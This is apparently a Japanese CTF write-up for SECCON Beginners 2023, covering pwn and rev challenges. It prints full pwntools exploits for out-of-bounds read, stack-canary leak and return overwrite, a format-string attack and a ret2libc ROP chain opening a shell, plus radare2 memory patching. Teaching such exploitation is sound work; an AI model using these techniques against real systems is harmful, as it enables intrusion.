SECCON Beginners 2023にチーム0x9CBとして参加してきました。自分はpwn, rev辺りを中心に解いたので, そのwriteupをここに書いておきます.
pwn
- poem
- rewriter2
- Forgot_Some_Exploit
- Elementary_ROP
poem
脆弱性のあるバイナリとそのソースコードが与えられます.
プログラムはユーザーから番号を入力として受け取り, 対応するpoemを表示するような動作をします.
ソースコードは以下です.
src.c
#include <stdio.h>
#include <unistd.h>
char *flag = "ctf4b{***CENSORED***}";
char *poem[] = {
"In the depths of silence, the universe speaks.",
"Raindrops dance on windows, nature's lullaby.",
"Time weaves stories with the threads of existence.",
"Hearts entwined, two souls become one symphony.",
"A single candle's glow can conquer the darkest room.",
};
int main() {
int n;
printf("Number[0-4]: ");
scanf("%d", &n);
if (n < 5) {
printf("%s\n", poem[n]);
}
return 0;
}
__attribute__((constructor)) void init() {
setvbuf(stdin, NULL, _IONBF, 0);
setvbuf(stdout, NULL, _IONBF, 0);
alarm(60);
}
コードを見ると, ユーザーからの入力n
にマイナス値も許容されていることが分かります. printf
のところでpoem[n]
があるので, マイナス値を入力するとここで範囲外アクセスが可能です.
さらにpoem
とフラグを格納している配列flag
は連続したメモリ領域に並んでいることから, 適当なマイナス値を入れてあげればflag
が出力されます.
❯ nc poem.beginners.seccon.games 9000
Number[0-4]: -1
Segmentation fault
❯ nc poem.beginners.seccon.games 9000
Number[0-4]: -2
Segmentation fault
❯ nc poem.beginners.seccon.games 9000
Number[0-4]: -3
Segmentation fault
❯ nc poem.beginners.seccon.games 9000
Number[0-4]: -4
ctf4b{y0u_sh0uld_v3rify_the_int3g3r_v4lu3}
rewriter2
脆弱性のあるバイナリとそのソースコードが与えられます.
プログラムはユーザーから名前と年齢を受け取り, スタックの中身を一部表示してくれます.
❯ ./rewriter2
[Addr] | [Value]
====================+===================
0x00007ffca8c2c210 | 0x0000000000000000 <- buf
0x00007ffca8c2c218 | 0x00007fe3dca856a0
0x00007ffca8c2c220 | 0x0000000000000000
0x00007ffca8c2c228 | 0x00007fe3dc92a085
0x00007ffca8c2c230 | 0x0000000000000000
0x00007ffca8c2c238 | xxxxx hidden xxxxx <- canary
0x00007ffca8c2c240 | 0x0000000000000001 <- saved rbp
0x00007ffca8c2c248 | 0x00007fe3dc8cc850 <- saved ret addr
0x00007ffca8c2c250 | 0x0000000000000000
0x00007ffca8c2c258 | 0x00000000004011f6
What's your name? AAAA
Hello, AAAA
[Addr] | [Value]
====================+===================
0x00007ffca8c2c210 | 0x0000000a41414141 <- buf
0x00007ffca8c2c218 | 0x00007fe3dca856a0
0x00007ffca8c2c220 | 0x0000000000000000
0x00007ffca8c2c228 | 0x00007fe3dc92a085
0x00007ffca8c2c230 | 0x0000000000000000
0x00007ffca8c2c238 | xxxxx hidden xxxxx <- canary
0x00007ffca8c2c240 | 0x0000000000000001 <- saved rbp
0x00007ffca8c2c248 | 0x00007fe3dc8cc850 <- saved ret addr
0x00007ffca8c2c250 | 0x0000000000000000
0x00007ffca8c2c258 | 0x00000000004011f6
How old are you? AAAA
Thank you!
[Addr] | [Value]
====================+===================
0x00007ffca8c2c210 | 0x0000000a41414141 <- buf
0x00007ffca8c2c218 | 0x00007fe3dca856a0
0x00007ffca8c2c220 | 0x0000000000000000
0x00007ffca8c2c228 | 0x00007fe3dc92a085
0x00007ffca8c2c230 | 0x0000000000000000
0x00007ffca8c2c238 | xxxxx hidden xxxxx <- canary
0x00007ffca8c2c240 | 0x0000000000000001 <- saved rbp
0x00007ffca8c2c248 | 0x00007fe3dc8cc850 <- saved ret addr
0x00007ffca8c2c250 | 0x0000000000000000
0x00007ffca8c2c258 | 0x00000000004011f6
ご丁寧にバッファの開始位置, Stack canaryの位置, RBPの位置, リターンアドレスの位置を表示してくれます.
バイナリのセキュリティ機構は以下のようになっています.
> checksec ./rewriter2
Arch: amd64-64-little
RELRO: Full RELRO
Stack: Canary found
NX: NX enabled
PIE: No PIE (0x400000)
ソースコードは以下のようになっています.
src.cpp
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#define BUF_SIZE 0x20
#define READ_SIZE 0x100
void __show_stack(void *stack);
int main() {
char buf[BUF_SIZE];
__show_stack(buf);
printf("What's your name? ");
read(0, buf, READ_SIZE);
printf("Hello, %s\n", buf);
__show_stack(buf);
printf("How old are you? ");
read(0, buf, READ_SIZE);
puts("Thank you!");
__show_stack(buf);
return 0;
}
void win() {
puts("Congratulations!");
system("/bin/sh");
}
void __show_stack(void *stack) {
unsigned long *ptr = stack;
printf("\n %-19s| %-19s\n", "[Addr]", "[Value]");
puts("====================+===================");
for (int i = 0; i < 10; i++) {
if (&ptr[i] == stack + BUF_SIZE + 0x8) {
printf(" 0x%016lx | xxxxx hidden xxxxx <- canary\n",
(unsigned long)&ptr[i]);
continue;
}
printf(" 0x%016lx | 0x%016lx ", (unsigned long)&ptr[i], ptr[i]);
if (&ptr[i] == stack)
printf(" <- buf");
if (&ptr[i] == stack + BUF_SIZE + 0x10)
printf(" <- saved rbp");
if (&ptr[i] == stack + BUF_SIZE + 0x18)
printf(" <- saved ret addr");
puts("");
}
puts("");
}
__attribute__((constructor)) void init() {
setvbuf(stdin, NULL, _IONBF, 0);
setvbuf(stdout, NULL, _IONBF, 0);
alarm(60);
}
コードを見るとユーザーからの入力を受け取るread
の部分にREAD_SIZE - BUF_SIZE
分のBuffer Overflow脆弱性があることが分かります. また, win
という関数を呼び出すことでフラグを表示できることが分かります.
なので, やる事としてはBuffer Overflow脆弱性を利用してリターンアドレスをwin
関数へのアドレスに書き換え, フラグを表示させるという流れになります. ただしこのプログラムではStack canaryが有効になっているので, Stack canaryの値をまずリークさせ, その後にStack canaryの値を書き換えないようにしながらリターンアドレスを書き換えます.
Stack canaryは最初のread
において, stack canaryの直前までAAAA...
などの適当な文字列でバッファを埋めてヌル文字を消してあげることで, 次の行のprintf
でリークさせることが出来ます.
次にリークされたStack canaryの値を含めつつ, リターンアドレスをwin
関数へのアドレスに書き換えます.
exploit.py
from pwn import *
elf = context.binary = ELF("./rewriter2")
p = remote("rewriter2.beginners.seccon.games", 9001)
BUF_SIZE = 0x20
info(p.clean())
# まずcanaryをリークさせる. Canaryの末尾(00)の部分までAで埋めることでヌル文字を消し, printfでcanaryを表示させる.
payload = flat(
b'A' * (BUF_SIZE + 9)
)
p.send(payload)
# Hello, AAAAAの部分の文字列
info(p.recv(7 + BUF_SIZE + 8))
# リークされた文字列からcanaryを取得する. canaryの末尾が41(A)になっているので, 00に戻してあげる.
canary = bytearray(p.recv(8))
canary[0] = 0
canary = unpack(canary)
info(p.clean())
info(f"Canary: {hex(canary)}")
# ret addrを書き換えてwinを呼び出す
payload = flat(
b'A' * (BUF_SIZE + 8),
canary,
0, # rbp
0x004012d6 # winのputsがcallされてしまうとsegfaultしてしまうので, 直接systemを呼び出す直前まで飛ばす
)
p.send(payload)
info(p.clean())
p.interactive()
実行すると以下のようになります.
[*]
[Addr] | [Value]
====================+===================
0x00007fffcbd2ef80 | 0x00007f59f89d42e8 <- buf
0x00007fffcbd2ef88 | 0x00000000004014e0
0x00007fffcbd2ef90 | 0x0000000000000000
0x00007fffcbd2ef98 | 0x0000000000401110
0x00007fffcbd2efa0 | 0x00007fffcbd2f0a0
0x00007fffcbd2efa8 | xxxxx hidden xxxxx <- canary
0x00007fffcbd2efb0 | 0x0000000000000000 <- saved rbp
0x00007fffcbd2efb8 | 0x00007f59f8807083 <- saved ret addr
0x00007fffcbd2efc0 | 0x00007f59f8a06620
0x00007fffcbd2efc8 | 0x00007fffcbd2f0a8
What's your name?
[*] Hello, AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
[*]
[Addr] | [Value]
====================+===================
0x00007fffcbd2ef80 | 0x4141414141414141 <- buf
0x00007fffcbd2ef88 | 0x4141414141414141
0x00007fffcbd2ef90 | 0x4141414141414141
0x00007fffcbd2ef98 | 0x4141414141414141
0x00007fffcbd2efa0 | 0x4141414141414141
0x00007fffcbd2efa8 | xxxxx hidden xxxxx <- canary
0x00007fffcbd2efb0 | 0x0000000000000000 <- saved rbp
0x00007fffcbd2efb8 | 0x00007f59f8807083 <- saved ret addr
0x00007fffcbd2efc0 | 0x00007f59f8a06620
0x00007fffcbd2efc8 | 0x00007fffcbd2f0a8
How old are you?
[*] Canary: 0xdf8a881952c2c100
[*] Thank you!
[Addr] | [Value]
====================+===================
0x00007fffcbd2ef80 | 0x4141414141414141 <- buf
0x00007fffcbd2ef88 | 0x4141414141414141
0x00007fffcbd2ef90 | 0x4141414141414141
0x00007fffcbd2ef98 | 0x4141414141414141
0x00007fffcbd2efa0 | 0x4141414141414141
0x00007fffcbd2efa8 | xxxxx hidden xxxxx <- canary
0x00007fffcbd2efb0 | 0x0000000000000000 <- saved rbp
0x00007fffcbd2efb8 | 0x00000000004012d6 <- saved ret addr
0x00007fffcbd2efc0 | 0x00007f59f8a06620
0x00007fffcbd2efc8 | 0x00007fffcbd2f0a8
[*] Switching to interactive mode
$ ls
chall
flag.txt
redir.sh
$ cat flag.txt
ctf4b{y0u_c4n_l34k_c4n4ry_v4lu3}
Forgot_Some_Exploit
脆弱性のあるバイナリとソースコードが与えられます.
プログラムはユーザーからの入力を受け取り, それをそのまま出力します.
❯ ./chall
a
a
b
b
Bye!
バイナリのセキュリテイ機構は以下のようになっています.
> checksec ./chall
Arch: amd64-64-little
RELRO: Full RELRO
Stack: Canary found
NX: NX enabled
PIE: PIE enabled
rewriter2
とは違ってPIEが有効であることに注意します.
ソースコードは以下のようになっています.
src.cpp
#include <err.h>
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#define BUFSIZE 0x100
void win() {
FILE *f = fopen("flag.txt", "r");
if (!f)
err(1, "Flag file not found...\n");
for (char c = fgetc(f); c != EOF; c = fgetc(f))
putchar(c);
}
void echo() {
char buf[BUFSIZE];
buf[read(0, buf, BUFSIZE - 1)] = 0;
printf(buf);
buf[read(0, buf, BUFSIZE - 1)] = 0;
printf(buf);
}
int main() {
echo();
puts("Bye!");
}
__attribute__((constructor)) void init() {
setvbuf(stdin, NULL, _IONBF, 0);
setvbuf(stdout, NULL, _IONBF, 0);
alarm(60);
}
echo
という関数の中でフォーマット指定子を使わずにprintf
している箇所が2箇所あるので, ここでFormat string attackが可能です.
流れとしてはまず最初のprintf
でELFのbase addressをリークさせ, 次のprintf
でecho
のリターンアドレスをmain
ではなくwin
になるように書き換えます.
適当に%p
しまくった結果, 最初のprintf
で%39$p, %40$p, %41$p
を入力してあげることでstack canary, rbp, return addressを表示出来ることが分かります. echo
のリターンアドレスはmain
関数中の命令に対応しているので, main
関数の始まりからのオフセットを引いてあげることで, main
関数の実開始アドレスを求めることが出来ます.
オフセットはradare2で調べられます.
❯ r2 -d -A ./chall
[x] Analyze all flags starting with sym. and entry0 (aa)
[x] Analyze all functions arguments/locals
[x] Analyze function calls (aac)
[x] Analyze len bytes of instructions for references (aar)
[x] Finding and parsing C++ vtables (avrr)
[x] Skipping type matching analysis in debugger mode (aaft)
[x] Propagate noreturn information (aanr)
[x] Use -AA or aaaa to perform additional experimental analysis.
-- You crackme up!
[0x7fdaf5ebcd70]> s main
[0x55fee2b482de]> pdf
; DATA XREF from entry0 @ 0x55fee2b480f8
┌ 36: int main (int argc, char **argv, char **envp);
│ 0x55fee2b482de 55 push rbp
│ 0x55fee2b482df 4889e5 mov rbp, rsp
│ 0x55fee2b482e2 b800000000 mov eax, 0
│ 0x55fee2b482e7 e857ffffff call sym.echo
│ 0x55fee2b482ec 488d05340d00. lea rax, str.Bye_ ; 0x55fee2b49027 ; "Bye!"
│ 0x55fee2b482f3 4889c7 mov rdi, rax
│ 0x55fee2b482f6 e845fdffff call sym.imp.puts ; int puts(const char *s)
│ 0x55fee2b482fb b800000000 mov eax, 0
│ 0x55fee2b48300 5d pop rbp
└ 0x55fee2b48301 c3 ret
echo
のリターンアドレスはlea rax, str.Bye_
の部分になるので, オフセットは0xe
であることが分かります.
main
関数の実アドレスが分かったので, 後はmain
関数のバイナリ中におけるオフセットを引いてあげることで, ELFのbase addressが分かります. オフセットはreadelf
で調べられます.
❯ readelf -s ./chall | grep main
43: 00000000000012de 36 FUNC GLOBAL DEFAULT 15 main
ELFのbase addressが分かったらwin
関数の実アドレスも分かるので, 後はFormat string attackを使ってwin
関数を呼び出すようにするだけです.
攻撃コードは以下のようになります.
exploit.py
from pwn import *
elf = context.binary = ELF("./chall")
p = remote("forgot-some-exploit.beginners.seccon.games", 9002)
# bufferは6つ目の%pから始まる
# %p %p %p %p %p %p(buffer)
BUF_OFFSET = 6
BUF_SIZE = 0x100
# PIEが有効なので, まずbinaryのbase addressを調べる必要がある.
# %pしまくって調べた結果
# %39$p - canary
# %40$p - rbp
# %41$p - ret addr(main関数内の途中)
# これを使ってelfのbase addressとcanaryを求める.
payload = flat(
"%39$p\n%40$p\n%41$p\n"
)
p.send(payload)
canary_leak = int(p.recvuntil("\n"), 16)
rbp_leak = int(p.recvuntil("\n"), 16)
# ret addrはmain関数の途中の命令なので, 0xeだけオフセットを引いてあげてmain関数の始まりのアドレスを計算する
# 0xeはradare2でアセンブリ表示して計算した
main_leak = int(p.recvuntil("\n"), 16) - 0xe
elf_base = main_leak - elf.sym["main"]
elf.address = elf_base
print(f"ELF base: {hex(elf.address)}")
print(f"Canary: {hex(canary_leak)}")
print(f"RBP: {hex(rbp_leak)}")
# format string attackを利用してwin関数を呼び出す
# rbp - 8がret addrなので, そこにwin関数のアドレスを書き込む
# rbpも書き込んであげないとremoteだと動かなかった
ret_addr = rbp_leak - 8
canary_addr = rbp_leak - 16
payload = fmtstr_payload(
BUF_OFFSET, {ret_addr: elf.sym["win"], rbp_leak: rbp_leak}
)
p.send(payload)
info(p.clean())
実行すると以下のようになります.
ELF base: 0x556535c64000
Canary: 0xa9161712ce289400
RBP: 0x7ffdc0ace800
self._log(logging.INFO, message, args, kwargs, 'info')
[*] à ÿ 1 ì % 1 h 2 0 nactf4b{4ny_w4y_y0u_w4nt_1t}
Segmentation fault
[*] Closed connection to forgot-some-exploit.beginners.seccon.games port 9002
Elementary_ROP
バイナリとソースコード, サーバー上で使われているlibcのバイナリが与えられます. 問題名から分かるとおり, Return Oriented Programming(ROP)を用いる問題です.
プログラムはユーザーからの入力を受け取り, バッファに入力内容を格納するだけのシンプルなプログラムです.
バイナリのセキュリティ機構は以下の通りです.
> checksec ./chall
Arch: amd64-64-little
RELRO: Full RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x400000)
ソースコードは以下のようになっています.
src.c
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <err.h>
void gadget() {
asm("pop %rdi; ret");
}
int main() {
char buf[0x20];
printf("content: ");
gets(buf);
return 0;
}
__attribute__((constructor))
void init() {
setvbuf(stdin, NULL, _IONBF, 0);
setvbuf(stdout, NULL, _IONBF, 0);
alarm(60);
}
gets
の部分にBuffer Overflow脆弱性があることが分かります. またgadget
という関数の中にROP用のpop rdi; ret
というアセンブリが含まれていることが分かります. このガジェットを用いることで, ある関数の1番目の引数に自由に値をセットして呼び出すことが出来ます.
このプログラムでは以前の問題と違い, フラグを出力してくれるwin
関数のようなユーティリティは含まれていません. なので, ROPを使ってsystem("/bin/sh")
を呼び出すのが目標となります.
サーバー上ではASLRが有効なので, まずlibcのbase addressをリークさせます. これはret2pltを用いてprintf
の実アドレスをリークさせることで行えます.
その後にsystem
と"/bin/sh"
という文字列への実アドレスを計算し, ROPを用いてsystem("/bin/sh")
を呼び出します.
攻撃コードは以下のようになります.
from pwn import *
elf = context.binary = ELF("./chall")
# libc = elf.libc
libc = ELF("./libc.so.6")
# p = process()
p = remote("elementary-rop.beginners.seccon.games", 9003)
BUF_SIZE = 0x20
# ROP gadget
POP_RDI_RET = 0x40115a
RET = 0x40101a
info(p.clean())
# ROPを使ってsystem("/bin/sh")を呼び出すことが目標となる
# gadghetはPOP_RDI_RETしか含まれていないので, 引数1個の関数しか呼び出せない
# 1 - サーバー上ではASLRが有効なので, ret2pltを用いてprintfのアドレスをリークさせる
# RETを加えてあげないとうまく動かなかった(https://stackoverflow.com/questions/60729616/segfault-in-ret2libc-attack-but-not-hardcoded-system-call)
# 64bit環境だとretを使ってstackをalighmentしてあげないとsegfaultするらしい
payload = flat(
b'A' * (BUF_SIZE + 8),
RET,
POP_RDI_RET,
elf.got["printf"],
elf.plt["printf"],
RET,
elf.sym["main"]
)
p.sendline(payload)
printf_leak = unpack(p.recv(6) + b"\x00\x00")
info(f"printf_leak: {hex(printf_leak)}")
# printfのリークされたアドレスを元にlibcのベースアドレスを計算
libc_base = printf_leak - libc.sym["printf"]
info(f"libc_base: {hex(libc_base)}")
libc.address = libc_base
info(p.clean())
# 2 - system("/bin/sh")を呼び出す
payload = flat(
b'A' * (BUF_SIZE + 8),
RET,
POP_RDI_RET,
next(libc.search(b"/bin/sh")),
libc.sym["system"],
)
p.sendline(payload)
info(p.clean())
p.interactive()
実行すると以下のようになります.
[*] content:
[*] printf_leak: 0x7f3e5ea2f770
[*] libc_base: 0x7f3e5e9cf000
[*] content:
[*]
[*] Switching to interactive mode
$ ls
chall
flag.txt
redir.sh
$ cat flag.txt
ctf4b{br34k_0n_thr0ugh_t0_th3_0th3r_51d3}
rev
- Poker
- Leak
Poker
Ghidraでバイナリを解析してみます. 変数名や引数名などは分かりやすくなるように適当に変えています.
undefined8 main(void)
{
undefined4 uVar1;
int game_count;
int score;
score = 0;
puts_indian_poker();
game_count = 0;
while( true ) {
if (0x62 < game_count) {
return 0;
}
puts_score(score);
uVar1 = get_user_input();
score = play_poker(score,uVar1);
if (99 < score) break;
game_count = game_count + 1;
}
show_flag();
return 0;
}
show_flag
という関数を呼び出せば良さそうです. このプログラムは起動すると0x62 = 98
回ゲームをプレイ出来るのですが, show_flag
が呼ばれるのはscore
が99以上のときに限られます. これは普通にプレイしていると絶対不可能なので, gdbやradare2などの動的解析ツールを用いて, 実行中にscore
の値を100以上に書き換えます. ここではradare2を使います.
まず, if (99 < score) break
の部分にbreak pointを貼ります.
❯ r2 -d -A ./poker
[x] Analyze all flags starting with sym. and entry0 (aa)
[x] Analyze all functions arguments/locals
[x] Analyze function calls (aac)
[x] Analyze len bytes of instructions for references (aar)
[x] Finding and parsing C++ vtables (avrr)
[x] Skipping type matching analysis in debugger mode (aaft)
[x] Propagate noreturn information (aanr)
[x] Use -AA or aaaa to perform additional experimental analysis.
-- Sorry, radare2 has experienced an internal error.
[0x7f79fc744d70]> s main
[0x563e424a0262]> pdf
; DATA XREF from entry0 @ 0x563e4249f0d1
┌ 114: int main (int argc, char **argv, char **envp);
│ ; var int64_t var_ch @ rbp-0xc
│ ; var int64_t var_8h @ rbp-0x8
│ ; var int64_t var_4h @ rbp-0x4
│ 0x563e424a0262 f30f1efa endbr64
│ 0x563e424a0266 55 push rbp
│ 0x563e424a0267 4889e5 mov rbp, rsp
│ 0x563e424a026a 4883ec10 sub rsp, 0x10
│ 0x563e424a026e c745fc000000. mov dword [var_4h], 0
│ 0x563e424a0275 b800000000 mov eax, 0
│ 0x563e424a027a e844ffffff call 0x563e424a01c3
│ 0x563e424a027f c745f8000000. mov dword [var_8h], 0
│ ┌─< 0x563e424a0286 eb3f jmp 0x563e424a02c7
│ ┌──> 0x563e424a0288 8b45fc mov eax, dword [var_4h]
│ ╎│ 0x563e424a028b 89c7 mov edi, eax
│ ╎│ 0x563e424a028d e890ffffff call 0x563e424a0222
│ ╎│ 0x563e424a0292 b800000000 mov eax, 0
│ ╎│ 0x563e424a0297 e8ddfeffff call 0x563e424a0179
│ ╎│ 0x563e424a029c 8945f4 mov dword [var_ch], eax
│ ╎│ 0x563e424a029f 8b55f4 mov edx, dword [var_ch]
│ ╎│ 0x563e424a02a2 8b45fc mov eax, dword [var_4h]
│ ╎│ 0x563e424a02a5 89d6 mov esi, edx
│ ╎│ 0x563e424a02a7 89c7 mov edi, eax
│ ╎│ 0x563e424a02a9 e809fdffff call 0x563e4249ffb7
│ ╎│ 0x563e424a02ae 8945fc mov dword [var_4h], eax
│ ╎│ 0x563e424a02b1 837dfc63 cmp dword [var_4h], 0x63
│ ┌───< 0x563e424a02b5 7e0c jle 0x563e424a02c3
│ │╎│ 0x563e424a02b7 e8e4eeffff call 0x563e4249f1a0
│ │╎│ 0x563e424a02bc b800000000 mov eax, 0
│ ┌────< 0x563e424a02c1 eb0f jmp 0x563e424a02d2
│ │└───> 0x563e424a02c3 8345f801 add dword [var_8h], 1
│ │ ╎│ ; CODE XREF from main @ 0x563e424a0286
│ │ ╎└─> 0x563e424a02c7 837df862 cmp dword [var_8h], 0x62
│ │ └──< 0x563e424a02cb 7ebb jle 0x563e424a0288
│ │ 0x563e424a02cd b800000000 mov eax, 0
│ │ ; CODE XREF from main @ 0x563e424a02c1
│ └────> 0x563e424a02d2 c9 leave
└ 0x563e424a02d3 c3 ret
[0x563e424a0262]> db 0x563e424a02b1
プログラムをbreak pointの部分まで実行し, そこでscoreに相当する[var_4h]
を100以上になるように書き換えます. スタック内での[var_4h]
の位置はpdf
で表示されるvar int64_t var_4h @ rbp-0x4
から分かります.
[0x563e424a0262]> dc
██╗███╗ ██╗██████╗ ██╗ █████╗ ███╗ ██╗ ██████╗ ██████╗ ██╗ ██╗███████╗██████╗
██║████╗ ██║██╔══██╗██║██╔══██╗████╗ ██║ ██╔══██╗██╔═══██╗██║ ██╔╝██╔════╝██╔══██╗
██║██╔██╗ ██║██║ ██║██║███████║██╔██╗ ██║ ██████╔╝██║ ██║█████╔╝ █████╗ ██████╔╝
██║██║╚██╗██║██║ ██║██║██╔══██║██║╚██╗██║ ██╔═══╝ ██║ ██║██╔═██╗ ██╔══╝ ██╔══██╗
██║██║ ╚████║██████╔╝██║██║ ██║██║ ╚████║ ██║ ╚██████╔╝██║ ██╗███████╗██║ ██║
╚═╝╚═╝ ╚═══╝╚═════╝ ╚═╝╚═╝ ╚═╝╚═╝ ╚═══╝ ╚═╝ ╚═════╝ ╚═╝ ╚═╝╚══════╝╚═╝ ╚═
================
| Score : 0 |
================
[?] Enter 1 or 2: 1
[+] It's a tie! Your score is reseted...
hit breakpoint at: 0x563e424a02b1
[0x563e424a02b1]> pxw @ rbp-0x4
0x7ffda1382eec 0x00000000 0x00000001 0x00000000 0xfc535850 ............PXS.
0x7ffda1382efc 0x00007f79 0xa1382ff0 0x00007ffd 0x424a0262 y..../8.....b.JB
0x7ffda1382f0c 0x0000563e 0x4249e040 0x00000001 0xa1383008 >V..@.IB.....08.
0x7ffda1382f1c 0x00007ffd 0xa1383008 0x00007ffd 0x8ca78372 .....08.....r...
0x7ffda1382f2c 0x6c652273 0x00000000 0x00000000 0xa1383018 s"el.........08.
0x7ffda1382f3c 0x00007ffd 0xfc75d000 0x00007f79 0x00000000 ......u.y.......
0x7ffda1382f4c 0x00000000 0xd2a58372 0x939e6003 0x3cad8372 ....r....`..r..<
0x7ffda1382f5c 0x9296dad5 0x00000000 0x00000000 0x00000000 ................
0x7ffda1382f6c 0x00000000 0x00000000 0x00000000 0x00000000 ................
0x7ffda1382f7c 0x00000000 0xa1383018 0x00007ffd 0xe22ab800 .....08.......*.
0x7ffda1382f8c 0xf39fd19c 0x00000000 0x00000000 0xfc53590a .............YS.
0x7ffda1382f9c 0x00007f79 0x424a0262 0x0000563e 0x00000000 y...b.JB>V......
0x7ffda1382fac 0x00007ffd 0xfc75e2c0 0x00007f79 0x00000000 ......u.y.......
0x7ffda1382fbc 0x00000000 0x00000000 0x00000000 0x4249f0b0 ..............IB
0x7ffda1382fcc 0x0000563e 0xa1383000 0x00007ffd 0x00000000 >V...08.........
0x7ffda1382fdc 0x00000000 0x00000000 0x00000000 0x4249f0de ..............IB
pxw @ rbp-0x4
で出力される最初の部分がscore
の値です. 現在は負けたので0になっていることが分かります. ここを100以上になるように書き換えます.
[0x563e424a02b1]> wx 41414141 @ rbp-0x4
[0x563e424a02b1]> pxw @ rbp-0x4
0x7ffda1382eec 0x41414141 0x00000001 0x00000000 0xfc535850 AAAA........PXS.
0x7ffda1382efc 0x00007f79 0xa1382ff0 0x00007ffd 0x424a0262 y..../8.....b.JB
0x7ffda1382f0c 0x0000563e 0x4249e040 0x00000001 0xa1383008 >V..@.IB.....08.
0x7ffda1382f1c 0x00007ffd 0xa1383008 0x00007ffd 0x8ca78372 .....08.....r...
0x7ffda1382f2c 0x6c652273 0x00000000 0x00000000 0xa1383018 s"el.........08.
0x7ffda1382f3c 0x00007ffd 0xfc75d000 0x00007f79 0x00000000 ......u.y.......
0x7ffda1382f4c 0x00000000 0xd2a58372 0x939e6003 0x3cad8372 ....r....`..r..<
0x7ffda1382f5c 0x9296dad5 0x00000000 0x00000000 0x00000000 ................
0x7ffda1382f6c 0x00000000 0x00000000 0x00000000 0x00000000 ................
0x7ffda1382f7c 0x00000000 0xa1383018 0x00007ffd 0xe22ab800 .....08.......*.
0x7ffda1382f8c 0xf39fd19c 0x00000000 0x00000000 0xfc53590a .............YS.
0x7ffda1382f9c 0x00007f79 0x424a0262 0x0000563e 0x00000000 y...b.JB>V......
0x7ffda1382fac 0x00007ffd 0xfc75e2c0 0x00007f79 0x00000000 ......u.y.......
0x7ffda1382fbc 0x00000000 0x00000000 0x00000000 0x4249f0b0 ..............IB
0x7ffda1382fcc 0x0000563e 0xa1383000 0x00007ffd 0x00000000 >V...08.........
0x7ffda1382fdc 0x00000000 0x00000000 0x00000000 0x4249f0de ..............IB
score = 0x41414141
としました. プログラムを続行させるとフラグが表示されます.
[0x563e424a02b1]> dc
[!] You got a FLAG! ctf4b{4ll_w3_h4v3_70_d3cide_1s_wh4t_t0_d0_w1th_7he_71m3_7h47_i5_g1v3n_u5}
(52569) Process exited with status=0x0
Leak
バイナリとpcapファイルが与えられます.
Ghidraでバイナリを解析してみます. 変数名は分かりやすくなるように適当に書き換えています.
undefined8 main(void)
{
int sock;
int iVar1;
char *input_read_bytes;
undefined8 ret;
FILE *flag_file;
size_t input_length;
ssize_t sVar2;
long in_FS_OFFSET;
undefined local_438 [4];
undefined local_434 [11];
char input [17];
char flag_buffer [1032];
long local_10;
local_10 = *(long *)(in_FS_OFFSET + 0x28);
printf("Enter IP address: ");
input_read_bytes = fgets(input + 1,0x10,stdin);
if (input_read_bytes == (char *)0x0) {
perror("Failed to read IP address");
ret = 1;
}
else {
input_length = strlen(input + 1);
if ((input_length != 0) && (input[input_length] == '\n')) {
input[input_length] = '\0';
}
flag_file = fopen("/tmp/flag","r");
if (flag_file == (FILE *)0x0) {
perror("Failed to open file");
ret = 1;
}
else {
input_length = fread(flag_buffer,1,0x400,flag_file);
fclose(flag_file);
strlen("KEY{th1s_1s_n0t_f1ag_y0u_need_t0_f1nd_rea1_f1ag}");
encrypt(flag_buffer,(int)input_length);
sock = socket(2,1,0);
if (sock == -1) {
perror("Failed to create socket");
ret = 1;
}
else {
local_438._0_2_ = 2;
local_438._2_2_ = htons(5000);
iVar1 = inet_pton(2,input + 1,local_434);
if (iVar1 < 1) {
perror("Invalid address/Address not supported");
ret = 1;
}
else {
iVar1 = connect(sock,(sockaddr *)local_438,0x10);
if (iVar1 == -1) {
perror("Failed to connect to server");
ret = 1;
}
else {
sVar2 = send(sock,flag_buffer,input_length,0);
if (sVar2 == -1) {
perror("Failed to send data");
ret = 1;
}
else {
puts("Data sent successfully");
close(sock);
ret = 0;
}
}
}
}
}
}
if (local_10 != *(long *)(in_FS_OFFSET + 0x28)) {
/* WARNING: Subroutine does not return */
__stack_chk_fail();
}
return ret;
}
まずユーザーからIP addressを受け取り, /tmp/flag
の中身をencrypt
という関数で暗号化し, 暗号化した結果をsocketを用いて送信していることが分かります. 与えられたpcapファイルはこのsocket通信の内容をキャプチャしたものです. なのでpcapファイルをWiresharkなどのツールで解析することで, 暗号化されたフラグを抜き出すことが出来ます.
encrypt
関数は以下のようになっています.
void encrypt(char *flag,int length)
{
ulong key_length;
long key;
undefined4 in_register_00000034;
long in_FS_OFFSET;
byte jj;
byte ii;
uint i;
uint j;
byte seed [264];
long local_10;
byte temp;
local_10 = *(long *)(in_FS_OFFSET + 0x28);
for (i = 0; i < 0x100; i = i + 1) {
seed[i] = (char)i + 0x35;
}
j = 0;
for (i = 0; i < 0x100; i = i + 1) {
j = (uint)seed[i] + *(byte *)(key + (ulong)i % key_length) + j & 0xff;
temp = seed[i];
seed[i] = seed[j];
seed[j] = temp;
}
ii = 0;
jj = 0;
for (i = 0; (ulong)i < CONCAT44(in_register_00000034,length); i = i + 1) {
jj = jj + 1;
ii = ii + seed[(int)(uint)jj];
temp = seed[(int)(uint)jj];
seed[(int)(uint)jj] = seed[(int)(uint)ii];
seed[(int)(uint)ii] = temp;
flag[i] = flag[i] ^ seed[(int)(uint)(byte)(seed[(int)(uint)ii] + seed[(int)(uint)jj])];
}
if (local_10 != *(long *)(in_FS_OFFSET + 0x28)) {
/* WARNING: Subroutine does not return */
__stack_chk_fail();
}
return;
}
フラグをXORを用いて暗号化していることが分かります. XORを使っているということで, encrypt
に暗号化メッセージを渡せば復号された結果が返ってくると推測出来ます. encrypt
の引数を暗号化されたメッセージにし, 返り値をradare2で見ることで復号されたフラグを抽出してみます.
まず/tmp/flag
を作成し, ここにWiresharkで抽出した暗号化されたフラグを書き込んでおきます. 次にencrypt
関数への呼び出しの直後にbreak pointを貼り, 復号結果を格納している変数の中身を表示してみます.
❯ r2 -d -A ./leak
[x] Analyze all flags starting with sym. and entry0 (aa)
[x] Analyze all functions arguments/locals
[x] Analyze function calls (aac)
[x] Analyze len bytes of instructions for references (aar)
[x] Finding and parsing C++ vtables (avrr)
[x] Skipping type matching analysis in debugger mode (aaft)
[x] Propagate noreturn information (aanr)
[x] Use -AA or aaaa to perform additional experimental analysis.
-- Don't waste your time
